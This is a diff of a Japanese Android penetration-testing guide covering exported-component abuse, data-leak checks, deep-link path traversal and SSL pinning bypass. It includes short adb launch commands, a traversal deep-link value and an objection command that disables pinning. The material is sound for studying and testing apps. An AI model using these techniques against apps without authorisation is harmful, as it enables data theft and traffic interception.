開発者は、**非推奨のアルゴリズム**を使用して**認証チェック**、**データの保存**または**送信**を行うべきではありません。これらのアルゴリズムの一部には、RC4、MD4、MD5、SHA1などがあります。たとえばパスワードを保存するために**ハッシュ**が使用される場合、**ソルト**とともにハッシュブルートフォース**耐性**を持つものを使用する必要があります。 開発者は、**非推奨のアルゴリズム**を使用して**認証チェック**、**データの保存**または**送信**を行うべきではありません。これらのアルゴリズムの一部には、RC4、MD4、MD5、SHA1などがあります。たとえばパスワードを保存するために**ハッシュ**が使用されている場合、**ソルト**とともにハッシュブルートフォース**耐性**を持つものを使用する必要があります。
### その他のチェック ### その他のチェック
* **APKを難読化**することをお勧めします。これにより、逆向きの操作を困難にすることができます。 * **APKを難読化**することをお勧めします。これにより、逆向きの操作を困難にすることができます。
* アプリが機密情報を扱う場合(銀行アプリなど)、モバイルがルート化されているかどうかを確認し、それに応じて対処する必要があります。 * アプリが機密情報を扱う場合(銀行アプリなど)、モバイルがルート化されているかどうかを確認し、それに応じて対処する必要があります。
* アプリが機密情報を扱う場合(銀行アプリなど)、エミュレータが使用されていないかどうかを確認する必要があります。 * アプリが機密情報を扱う場合(銀行アプリなど)、エミュレータが使用されていないかどうかを確認する必要があります。
* アプリが機密情報を扱う場合(銀行アプリなど)、実行前に**自己整合性を確認**する必要があります。 * アプリが機密情報を扱う場合(銀行アプリなど)、実行前に**自己整合性を確認**する必要があります。
* APKをビルドする際に使用された**コンパイラ/パッカー/難読化ツール**を確認するために[**APKiD**](https://github.com/rednaga/APKiD)を使用します。 * APKをビルドする際に使用されたコンパイラ/パッカー/難読化ツールを確認するために[**APKiD**](https://github.com/rednaga/APKiD)を使用します。
### React Nativeアプリケーション ### React Nativeアプリケーション
@ -194,11 +193,11 @@ XamarinアプリケーションのC#コードに簡単にアクセスする方
### スーパーパックされたアプリケーション ### スーパーパックされたアプリケーション
この[**ブログ投稿**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)によると、スーパーパックはアプリケーションのコンテンツを1つのファイルに圧縮するメタアルゴリズムです。ブログでは、この種のアプリを解凍するアプリを作成する可能性について説明しており、**アプリケーションを実行し、ファイルシステムから解凍されたファイルを収集する**というより迅速な方法についても説明しています。 この[**ブログ投稿**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)によると、スーパーパックはアプリケーションのコンテンツを1つのファイルに圧縮するメタアルゴリズムです。ブログでは、この種のアプリを解凍するアプリを作成する可能性について説明しており、**アプリケーションを実行し、ファイルシステムから解凍されたファイルを収集する**より速い方法についても説明しています。
### 自動静的コード解析 ### 自動静的コード解析
ツール[**mariana-trench**](https://github.com/facebook/mariana-trench)は、アプリケーションのコードをスキャンして**脆弱性**を見つけることができます。このツールには、**既知のソース**(ユーザーによって**制御される入力**の**場所**をツールに示す)**シンク**(悪意のあるユーザー入力が損害を引き起こす可能性のある**危険な場所**をツールに示す)などが含まれています。これらのルールは、脆弱性を示す**ソース-シンク**の組み合わせを示します。 ツール[**mariana-trench**](https://github.com/facebook/mariana-trench)は、アプリケーションのコードをスキャンして**脆弱性**を見つけることができます。このツールには、**既知のソース**(ユーザーによって**制御される入力**の**場所**をツールに示す)**シンク**(悪意のあるユーザー入力が損害を引き起こす**危険な場所**をツールに示す)および**ルール**が含まれています。これらのルールは、**ソース-シンク**の**組み合わせ**を示し、脆弱性を示します。
この知識を活用して、**mariana-trenchはコードをレビューし、可能な脆弱性を見つけます**。 この知識を活用して、**mariana-trenchはコードをレビューし、可能な脆弱性を見つけます**。
@ -217,7 +216,7 @@ XamarinアプリケーションのC#コードに簡単にアクセスする方
* **コード実行**: `Runtime.exec(), ProcessBuilder(), native code:system()` * **コード実行**: `Runtime.exec(), ProcessBuilder(), native code:system()`
* **SMSの送信**: `sendTextMessage, sendMultipartTestMessage` * **SMSの送信**: `sendTextMessage, sendMultipartTestMessage`
* `native`と宣言された**ネイティブ機能**: `public native, System.loadLibrary, System.load` * `native`と宣言された**ネイティブ機能**: `public native, System.loadLibrary, System.load`
* [**ネイティブ機能の逆向き**の方法を学ぶには、こちらを読んでください](reversing-native-libraries.md) * [**ネイティブ機能の逆向き**の方法を学ぶには、こを読んでください](reversing-native-libraries.md)
### **その他のテクニック** ### **その他のテクニック**
@ -234,11 +233,11 @@ XamarinアプリケーションのC#コードに簡単にアクセスする方
**ハッキングの洞察**\ **ハッキングの洞察**\
ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、迅速なハッキングの世界を追いかけましょう リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう
**最新の発表事項**\ **最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう 最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手しましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう! **[Discord](https://discord.com/invite/N3FrSbmwdy)**に参加して、今日からトップハッカーと協力を始めましょう!
@ -246,11 +245,11 @@ XamarinアプリケーションのC#コードに簡単にアクセスする方
## 動的解析 ## 動的解析
> まず、アプリケーションとすべての環境主にBurp CA証明書、Drozer、Fridaをインストールできる環境が必要です。したがって、ルート化されたデバイスエミュレートされているかどうかに関係なくが非常に推奨されます。 > まず、アプリケーションとすべての環境主にBurp CA証明書、Drozer、Fridaをインストールできる環境が必要です。したがって、ルート化されたデバイスエミュレートされているかどうかに関係なくが非常にお勧めです。
### オンライン動的解析 ### オンライン動的解析
[https://appetize.io/](https://appetize.io)で**無料アカウント**を作成できます。このプラットフォームを使用すると、APKを**アップロード**して**実行**できるため、APKの動作を確認するのに便利です。 [https://appetize.io/](https://appetize.io)で**無料アカウント**を作成できます。このプラットフォームを使用すると、APKを**アップロード**して**実行**できるため、APKの動作を確認するのに役立ちます。
Web上でアプリケーションのログを表示し、**adb**を介して接続することもできます。 Web上でアプリケーションのログを表示し、**adb**を介して接続することもできます。
@ -262,91 +261,91 @@ ADB接続を介して、エミュレータ内で**Drozer**と**Frida**を使用
#### エミュレータを使用する #### エミュレータを使用する
* [**Android Studio**](https://developer.android.com/studio)**x86**および**arm**デバイスを作成でき、[**最新のx86**バージョンは](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**ARMライブラリをサポート**しており、遅いarmエミュレータを必要としません)。 * [**Android Studio**](https://developer.android.com/studio)**x86**および**arm**デバイスを作成でき、[**最新のx86**バージョンはARMライブラリを使用**するための遅いarmエミュレータを必要としません](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**)。
* このページで設定方法を学びます: * このページで設定方法を学びます:
{% content-ref url="avd-android-virtual-device.md" %} {% content-ref url="avd-android-virtual-device.md" %}
[avd-android-virtual-device.md](avd-android-virtual-device.md) [avd-android-virtual-device.md](avd-android-virtual-device.md)
{% endcontent-ref %} {% endcontent-ref %}
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:** Personal Edition、アカウントを作成する必要があります。_潜在的なエラーを回避するために_ _**VirtualBoxを使用したバージョンをダウンロード**することをお勧めします。) * [**Genymotion**](https://www.genymotion.com/fun-zone/) **(無料版:** Personal Edition、アカウントを作成する必要があります。_潜在的なエラーを回避するために_ _**VirtualBoxを使用したバージョンをダウンロード**することをお勧めします。_)
* [**Nox**](https://es.bignox.com)無料ですが、FridaやDrozerをサポートしていません * [**Nox**](https://es.bignox.com)無料ですが、FridaやDrozerをサポートしていません
{% hint style="info" %} {% hint style="info" %}
どのプラットフォームでも新しいエミュレータを作成する際には、画面が大きいほどエミュレータの動作が遅くなることに注意してください。可能であれば小さな画面を選択してください。 どのプラットフォームでも新しいエミュレータを作成する際には、画面が大きいほどエミュレータの動作が遅くなることに注意してください。可能であれば小さな画面を選択してください。
{% endhint %} {% endhint %}
GenymotionでGoogleサービスAppStoreなどを**インストール**するには、次の画像の赤でマークされたボタンをクリックする必要があります: Genymotionに**Googleサービス**AppStoreなどをインストールするには、次の画像の赤でマークされたボタンをクリックする必要があります:
![](<../../.gitbook/assets/image (200) (1).png>) ![](<../../.gitbook/assets/image (200) (1).png>)
また、GenymotionのAndroid VMの**構成**で**Bridge Network mode**を選択できますこれは、他のVMからAndroid VMに接続する場合に便利です また、Genymotionの**Android VMの構成**で**Bridge Network mode**を選択できますこれは、他のVMからAndroid VMに接続する場合に便利です
#### 物理デバイスを使用する #### 物理デバイスを使用する
**デバッグ**オプションを有効にする必要があり、**root**化できると良いでしょう: **デバッグ**オプションを有効にする必要があり、できれば**root**化すると良いでしょう:
1. **設定** 1. **設定**を開く
2. (Android 8.0以降) **システム**を選択します。 2. (Android 8.0以降) **システム**を選択す
3. **端末について**を選択します。 3. **端末について**を選択す
4. **ビルド番号**を7回押します 4. **ビルド番号**を7回タップする
5. 戻り、**開発者向けオプション**が表示されます。 5. 戻ると**開発者向けオプション**が表示されます。
> アプリをインストールしたら、まずはそれを試して、どのような動作をするのか、どのように動作するのかを調査し、それに慣れることが重要です。\ > アプリをインストールしたら、まずはその動作や機能、使い方を調査し、使い方に慣れることが重要です。\
> **MobSFダイナミック解析+pidcat**を使用して、**アプリケーションの動作を学習**しながら、MobSFが後で確認できる**興味深いデータ**を**キャプチャ**する**初期の動的解析**を実行することをお勧めします。 > **MobSFの動的解析 + pidcat**を使用して、**アプリケーションの動作を学びながら**、MobSFが後で確認できる**興味深いデータ**を**キャプチャ**する**初期の動的解析**を行うことをお勧めします。
### 意図しないデータ漏洩 ### 意図しないデータ漏洩
**ログ** **ログ**
**デバッグ情報**を公開すること慎重であるべきでそれは機密データの漏洩につながる可能性があります。**pidcat**と`adb logcat`というツールは、アプリケーションログを監視して機密情報を特定し保護するために推奨されています。**Pidcat**は使いやすさと可読性の点で好まれています。 **デバッグ情報**を公開することは、機密データの漏洩につながる可能性があるため、開発者は慎重であるべきです。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)や`adb logcat`といったツールが推奨されています。**Pidcat**は使いやすさと可読性の点で好まれています。
{% hint style="warning" %} {% hint style="warning" %}
**Android 4.0以降の新しいバージョン**では、**アプリケーションは自分自身のログにのみアクセス**できます。そのため、アプリケーションは他のアプリのログにアクセスできません。\ **Android 4.0以降**では、**アプリケーションは自分自身のログにのみアクセス**できるようになりました。つまり、アプリケーションは他のアプリのログにアクセスできません。\
とはいえ、**機密情報をログに記録しない**ことをお勧めします。 それでも、**機密情報をログに記録しない**ことをお勧めします。
{% endhint %} {% endhint %}
**コピー/ペーストバッファのキャッシング** **コピー/ペーストバッファのキャッシ**
Androidの**クリップボードベース**のフレームワークはアプリでコピー&ペースト機能を可能にしますが、他のアプリがクリップボードにアクセスできるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションでのコピー/ペースト機能を無効にすることは重要です。 Androidの**クリップボードベース**のフレームワークはアプリコピー&ペースト機能を可能にしますが、他のアプリがクリップボードにアクセスできるため、機密データが漏洩するリスクがあります。クレジットカード情報などの機密セクションにおいてコピー/ペースト機能を無効にすることは重要です。
**クラッシュログ** **クラッシュログ**
アプリケーションが**クラッシュ**して**ログを保存**すると、特にアプリケーションがリバースエンジニアリングできない場合に、これらのログは攻撃者に役立ちます。このリスクを軽減するために、クラッシュ時のログ記録を避け、ログをネットワーク経由で送信する場合は、セキュリティのためにSSLチャネルを介して送信するようにしてください。 アプリケーションが**クラッシュ**して**ログを保存**すると、特にアプリケーションのリバースエンジニアリングができない場合に、これらのログは攻撃者に役立ちます。このリスクを軽減するために、クラッシュ時のログ記録を避け、ログをネットワーク経由で送信する場合は、セキュリティのためにSSLチャネルを介して送信するようにしてください。
ペンテスターとして、これらのログを確認してみてください ペンテスターとしては、これらのログを確認することをお勧めします
**第三者送信されるアナリティクスデータ** **第三者への送信されるアナリティクスデータ**
アプリケーションはしばしばGoogle Adsenseなどのサービスを統合しますが、開発者による不適切な実装により、機密データが漏洩する可能性があります。潜在的なデータ漏洩を特定するために、アプリケーションのトラフィックをインターセプトして、第三者サービスに送信される機密情報をチェックすることをお勧めします。 アプリケーションはしばしばGoogle AdSenseなどのサービスを統合しますが、開発者の実装ミスにより誤って**機密データが漏洩**することがあります。潜在的なデータ漏洩を特定するために、アプリケーションのトラフィックを**インターセプト**して、第三者サービスに送信される機密情報をチェックすることが望ましいです。
### SQLiteデータベース ### SQLiteデータベース
ほとんどのアプリケーションは情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中に作成された**データベース**、**テーブル**および**列**の名前、および保存されている**すべてのデータ**を確認してください。なぜなら、**機密情報**(脆弱性となる可能性がある)を見つけることができるかもしれません。\ ほとんどのアプリケーションは**内部SQLiteデータベース**を使用して情報を保存します。ペンテスト中に作成された**データベース**、**テーブル**および**列**の名前、および保存されている**データ**を確認してください。なぜなら、**機密情報**(脆弱性となる可能性がある)が見つかるかもしれないからです。\
データベースは`/data/data/the.package.name/databases`に配置されるはずです。例`/data/data/com.mwr.example.sieve/databases` データベースは`/data/data/the.package.name/databases`に配置されるはずです。例えば`/data/data/com.mwr.example.sieve/databases`
データベースが機密情報を保存しており、**暗号化**されているが、アプリケーション内で**パスワード**を見つけることができる場合、それでも**脆弱性**となります。 データベースが機密情報を保存しており、**暗号化**されているが、アプリケーション内で**パスワード**を見つけることができる場合、それでも**脆弱性**となります。
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`を使用してテーブルの列を列挙します。 `.tables`を使用してテーブルを列挙し、`.schema <table_name>`を使用してテーブルの列を列挙します。
### Drozerエクスポートされたアクティビティ、コンテンツプロバイダ、サービスの悪用 ### Drozer脆弱性活用、コンテンツプロバイダ、サービス
[Drozerドキュメント](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)によると、**Drozer**を使用すると、Androidアプリの役割を担い、他のアプリとやり取りすることができます。インストールされたアプリケーションができることは何でもできるため、AndroidのIPCInter-Process Communicationメカニズムを利用したり、基礎となるオペレーティングシステムとやり取りすることができます。\ [Drozerドキュメント](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)によると、**Drozer**Androidアプリの役割を担い、他のアプリとやり取りすることができます。AndroidのInter-Process CommunicationIPC)メカニズムを利用したり、基礎となるオペレーティングシステムとやり取りするなど、インストールされたアプリケーションが行えることは何でもできます。\
Drozerは、後のセクションで学ぶように、**エクスポートされたアクティビティ、エクスポートされたサービス、コンテンツプロバイダ**を用するための便利なツールです。 Drozerは、後のセクションで学ぶように、**エクスポートされたアクティビティ、エクスポートされたサービス、コンテンツプロバイダ**を用するための便利なツールです。
### エクスポートされたアクティビティの ### エクスポートされたアクティビティの脆弱性活
[**Androidアクティビティとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#launcher-activity-and-other-activities)\ [**Androidアクティビティとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#launcher-activity-and-other-activities)\
また、アクティビティのコードは**`onCreate`**メソッドから開始されることを覚えておいてください。 また、アクティビティのコードは**`onCreate`**メソッドから始まることを覚えておいてください。
**認証バイパス** **認証バイパス**
アクティビティがエクスポートされている場合、外部アプリからその画面を呼び出すことができます。そのため、**機密情報**を含むアクティビティが**エクスポート**されている場合、**認証メカニズムをバイパス**して**アクセス**することができます。 アクティビティがエクスポートされている場合、外部アプリからその画面を呼び出すことができます。そのため、**機密情報**を含むアクティビティが**エクスポート**されている場合、**認証メカニズムをバイパス**して**アクセス**することができます。
Drozerを使用してエクスポートされたアクティビティを悪用する方法については、[こちらを参照してください。](drozer-tutorial/#activities) Drozerを使用してエクスポートされたアクティビティを活用する方法については、[**こちらを参照してください。**](drozer-tutorial/#activities)
adbからもエクスポートされたアクティビティを起動できます adbからもエクスポートされたアクティビティを起動できます
* パッケージ名はcom.example.demoです * パッケージ名はcom.example.demo
* エクスポートされたアクティビティ名はcom.example.test.MainActivity * エクスポートされたアクティビティ名はcom.example.test.MainActivity
```bash ```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity adb shell am start -n com.example.demo/com.example.test.MainActivity
@ -354,44 +353,44 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**注意**: MobSFは、アクティビティの`android:launchMode`として_singleTask/singleInstance_の使用を悪意のあるものとして検出しますが、[こちら](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険だとされています **注意**: MobSFは、アクティビティの`android:launchMode`として_singleTask/singleInstance_の使用を悪意のあるものとして検出しますが、[こちら](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険だとされています
{% hint style="info" %} {% hint style="info" %}
認可バイパスが常に脆弱性とは限らないことに注意してください。バイパスの動作方法や露出される情報によって異なります。 認可バイパスが常に脆弱性であるわけではないことに注意してください。バイパスの動作方法や露出される情報によって異なります。
{% endhint %} {% endhint %}
**機密情報の漏洩** **機密情報の漏洩**
**アクティビティは結果を返すこともできます**。エクスポートされて保護されていないアクティビティが**`setResult`**メソッドを呼び出し、**機密情報を返す**場合、機密情報の漏洩が発生します。 **アクティビティは結果を返すこともできます**。エクスポートされた保護されていないアクティビティが`setResult`メソッドを呼び出し、**機密情報を返す**場合、機密情報の漏洩が発生します。
#### タップジャッキング #### タップジャッキング
タップジャッキングが防止されていない場合、エクスポートされたアクティビティを悪用して**ユーザーに予期しないアクションを実行**させることができます。[**タップジャッキングとは何かについて詳しくはリンクを参照してください**](./#tapjacking)。 タップジャッキングが防止されていない場合、エクスポートされたアクティビティを悪用して**ユーザーに予期しないアクションを実行**させることができます。[**タップジャッキングとは何かについて詳しく知りたい場合リンクを参照してください**](./#tapjacking)。
### コンテンツプロバイダの悪用 - 機密情報へのアクセスと操作 ### コンテンツプロバイダの悪用 - 機密情報へのアクセスと操作
[**コンテンツプロバイダとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#content-provider)\ [**コンテンツプロバイダとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#content-provider)\
コンテンツプロバイダは基本的にデータの**共有**に使用されます。アプリに利用可能なコンテンツプロバイダがある場合、そこから**機密**データを**抽出**することができるかもしれません。また、**SQLインジェクション**や**パストラバーサル**をテストすることも興味深いです。なぜなら、これらは脆弱性を持っている可能性があるからです。 コンテンツプロバイダは基本的にデータを**共有**するために使用されます。アプリに利用可能なコンテンツプロバイダがある場合、そこから**機密**データを**抽出**することができるかもしれません。また、潜在的に**SQLインジェクション**や**パストラバーサル**をテストすることも興味深いです。
[**Drozerを使用してコンテンツプロバイダを悪用する方法を学ぶ**](drozer-tutorial/#content-providers) [**Drozerを使用してコンテンツプロバイダを悪用する方法を学ぶ**](drozer-tutorial/#content-providers)
### **サービスの悪用** ### **サービスの悪用**
[**サービスとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#services)\ [**サービスとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#services)\
サービスのアクションは基本的に`onStartCommand`メソッドで開始されます。 サービスのアクションは基本的に`onStartCommand`メソッドで開始されます。
サービスは基本的にデータを**受信**し、それを**処理**して**応答**(またはしない)するものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合、それが何をしているかを理解するために**コード**を確認し、機密情報の抽出、認証措置のバイパスなどを**動的に**テストする必要があります。\ サービスは基本的にデータを**受信**し、それを**処理**して**返す**(または返さない)ものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合、それが何をしているかを理解するために**コード**を**チェック**し、機密情報の抽出、認証措置のバイパスなどを**動的に**テストする必要があります。\
[**Drozerを使用してサービスを悪用する方法を学ぶ**](drozer-tutorial/#services) [**Drozerを使用してサービスを悪用する方法を学ぶ**](drozer-tutorial/#services)
### **ブロードキャストレシーバの悪用** ### **ブロードキャストレシーバの悪用**
[**ブロードキャストレシーバとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#broadcast-receivers)\ [**ブロードキャストレシーバとは何かを確認したい場合はこちらを読んでください。**](android-applications-basics.md#broadcast-receivers)\
ブロードキャストレシーバのアクションは基本的に`onReceive`メソッドで開始されます。 ブロードキャストレシーバのアクションは基本的に`onReceive`メソッドで開始されます。
ブロードキャストレシーバは特定の種類のメッセージを待機しています。レシーバがメッセージを処理する方法によって、脆弱性がる可能性があります。\ ブロードキャストレシーバは特定の種類のメッセージを待機しています。レシーバがメッセージを処理する方法によって、脆弱性が発生する可能性があります。\
[**Drozerを使用してブロードキャストレシーバを悪用する方法を学ぶ**](./#exploiting-broadcast-receivers) [**Drozerを使用してブロードキャストレシーバを悪用する方法を学ぶ**](./#exploiting-broadcast-receivers)
### **スキーム / ディープリンクの悪用** ### **スキーム/ディープリンクの悪用**
MobSFなどのツールを使用したり、[こちらのスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)のようなスクリプトを使用して、ディープリンクを手動で検索できます。\ MobSFなどのツールを使用したり、[こちらのスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)のようなスクリプトを使用して、ディープリンクを手動で検索できます。\
**adb**や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます: `adb`や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます:
```bash ```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
``` ```
@ -410,73 +409,74 @@ _パッケージ名を**省略することができる**ことに注意してく
**実行されるコード** **実行されるコード**
**アプリで実行されるコード**を見つけるには、ディープリンクによって呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。 **アプリで実行されるコード**を見つけるには、ディープリンク呼び出されるアクティビティに移動し、**`onNewIntent`** 関数を検索します。
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) ![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
**機密情報** **機密情報**
ディープリンクを見つけるたびに、URLパラメータを介して機密データパスワードなどを受信していないかを確認してください。なぜなら、他のアプリケーションがディープリンクをなりすましてそのデータを盗む可能性があるからです ディープリンクを見つけるたびに、URLパラメータを介して機密データパスワードなどを受信していないかどうかを確認してください。なぜなら、他のアプリケーションがディープリンクをなりすましてそのデータを盗む可能性があるからです!
**パス内のパラメータ** **パス内のパラメータ**
URLのパス内でパラメータを使用しているディープリンクがあるかどうかも確認する必要があります。例えば、`https://api.example.com/v1/users/{username}` のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにアクセス権を強制できます。\ URLのパス内でパラメータを使用しているディープリンクがあるかどうかも確認する必要があります。例えば、`https://api.example.com/v1/users/{username}` のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパストラバーサルを強制することができます。\
アプリ内で正しいエンドポイントを見つけた場合、**Open Redirect**(パスの一部がドメイン名として使用されている場合)、**アカウント乗っ取り**CSRFトークンなしでユーザーの詳細を変更でき、脆弱性のあるエンドポイントが正しいメソッドを使用している場合などを引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)。 アプリ内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用されている場合)、**アカウント乗っ取り**CSRFトークンなしでユーザーの詳細を変更でき、脆弱性のあるエンドポイントが正しいメソッドを使用している場合などを引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)。
**さらなる例** **さらなる例**
リンクに関する興味深いバグ報奨金レポート[https://hackerone.com/reports/855618](https://hackerone.com/reports/855618) リンクに関する興味深いバグ報奨金レポートは[こちら](https://hackerone.com/reports/855618)
### トランスポート層の検査と検証の失敗 ### トランスポート層の検査と検証の失敗
* Androidアプリケーションは、**証明書を適切に検査しない**ことがあります。これらのアプリケーションが警告を見落としたり、自己署名証明書を受け入れたり、一部の場合ではHTTP接続に戻ったりするは一般的です。 * Androidアプリケーションは、**証明書を適切に検査しない**ことがあります。これらのアプリケーションが警告を見落としたり、自己署名証明書を受け入れたり、一部の場合ではHTTP接続に戻ったりすることは一般的です。
* SSL/TLSハンドシェイク中の**交渉が弱い場合**があり、安全でない暗号スイートが使用されています。この脆弱性により、接続が中間者攻撃に対して脆弱になり、攻撃者がデータを復号化できるようになります。 * SSL/TLSハンドシェイク中の**交渉が弱い場合**があり、安全でない暗号スイートが使用されています。この脆弱性により、接続が中間者攻撃に対して脆弱になり、攻撃者がデータを復号化できるようになります。
* アプリケーションがセキュアチャネルを使用して認証した後、他のトランザクションで非セキュアチャネルを介して通信すると、**プライベート情報の漏洩**のリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護しないため、重大なリスクをもたらします。 * アプリケーションがセキュアチャネルを使用して認証し、その後非セキュアチャネルを介して通信すると、**プライベート情報の漏洩**のリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護しないため、重大なリスクをもたらします。
#### 証明書の検証 #### 証明書の検証
**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を検証してセキュリティを強化する必要があります。これは重要です。なぜなら、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することは重大なリスクをもたらす可能性があるからです。サーバー証明書の検証手順や脆弱性の対処方法についての詳細は、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)が包括的なガイダンスを提供しています。 **証明書の検証**に焦点を当てます。サーバーの証明書の整合性を検証してセキュリティを強化する必要があります。これは重要です。なぜなら、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することは重大なリスクをもたらす可能性があるからです。サーバー証明書の検証と脆弱性の対処についての詳細な手順については、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)が包括的なガイダンスを提供しています。
#### SSL Pinning #### SSL Pinning
SSL Pinningは、アプリケーションがアプリケーション自体に保存された既知のコピーとサーバーの証明書を照合するセキュリティ対策です。この方法は、MITM攻撃を防ぐために不可欠です。SSL Pinningの実装は、機密情報を扱うアプリケーションに強く推奨されます。 SSL Pinningは、アプリケーションがアプリケーションに保存された既知のコピーとサーバーの証明書を照合するセキュリティ対策です。この方法は、MITM攻撃を防ぐために重要です。SSL Pinningの実装は、機密情報を扱うアプリケーションに強く推奨されます。
#### トラフィック検査 #### トラフィック検査
HTTPトラフィックを検査するには、プロキシツールの証明書Burpを**インストールする必要があります**。この証明書をインストールしないと、暗号化されたトラフィックプロキシを介して表示されない場合があります。カスタムCA証明書をインストールする手順についてのガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。 HTTPトラフィックを検査するには、プロキシツールの証明書Burpを**インストールする必要があります**。この証明書をインストールしないと、暗号化されたトラフィックプロキシを介して表示されない場合があります。カスタムCA証明書をインストールする手順についてのガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
**APIレベル24以上を対象とする**アプリケーションでは、ネットワークセキュリティ構成を変更してプロキシのCA証明書を受け入れる必要があります。こは、暗号化されたトラフィックを検査するために重要なステップです。ネットワークセキュリティ構成を変更する手順については、[**このチュートリアル**](make-apk-accept-ca-certificate.md)を参照してください。 **APIレベル24以上を対象とする**アプリケーションでは、暗号化されたトラフィックを検査するために、ネットワークセキュリティ構成を変更してプロキシのCA証明書を受け入れる必要があります。この手順は、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成を変更する手順については、[**このチュートリアル**](make-apk-accept-ca-certificate.md)を参照してください。
#### SSL Pinningのバイパス #### SSL Pinningのバイパス
SSL Pinningが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります。 SSL Pinningが実装されている場合、HTTPSトラフィックを検査するためにSSL Pinningをバイパスする必要があります。この目的のためにさまざまな方法があります。
* [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用してSSL Pinningをバイパスするために**apkを自動的に変更**します。このオプションの最大の利点は、SSL Pinningをバイパスするためにルート権限が必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。 * [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用して**apkを自動的に変更**して**SSL Pinningをバイパス**す。このオプションの最大の利点は、SSL Pinningをバイパスするためにルート権限が必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
* この保護をバイパスするために**Frida**以下で説明を使用することができます。Burp+Frida+Genymotionの使用方法については、[こちらのガイド](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)を参照してください。 * この保護をバイパスするために**Frida**以下で説明を使用することができます。Burp+Frida+Genymotionの使用方法については、[こちらのガイド](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)を参照してください。
* [**objection**](frida-tutorial/objection-tutorial.md)を使用してSSL Pinningを自動的にバイパスすることもできます`objection --gadget com.package.app explore --startup-command "android sslpinning disable"` * [**objection**](frida-tutorial/objection-tutorial.md)を使用して**SSL Pinningを自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* **MobSFダイナミック解析**を使用してSSL Pinningを自動的にバイパスすることもできます以下で説明 * **MobSFダイナミック解析**を使用して**SSL Pinningを自動的にバイパス**することもできます(以下で説明)。
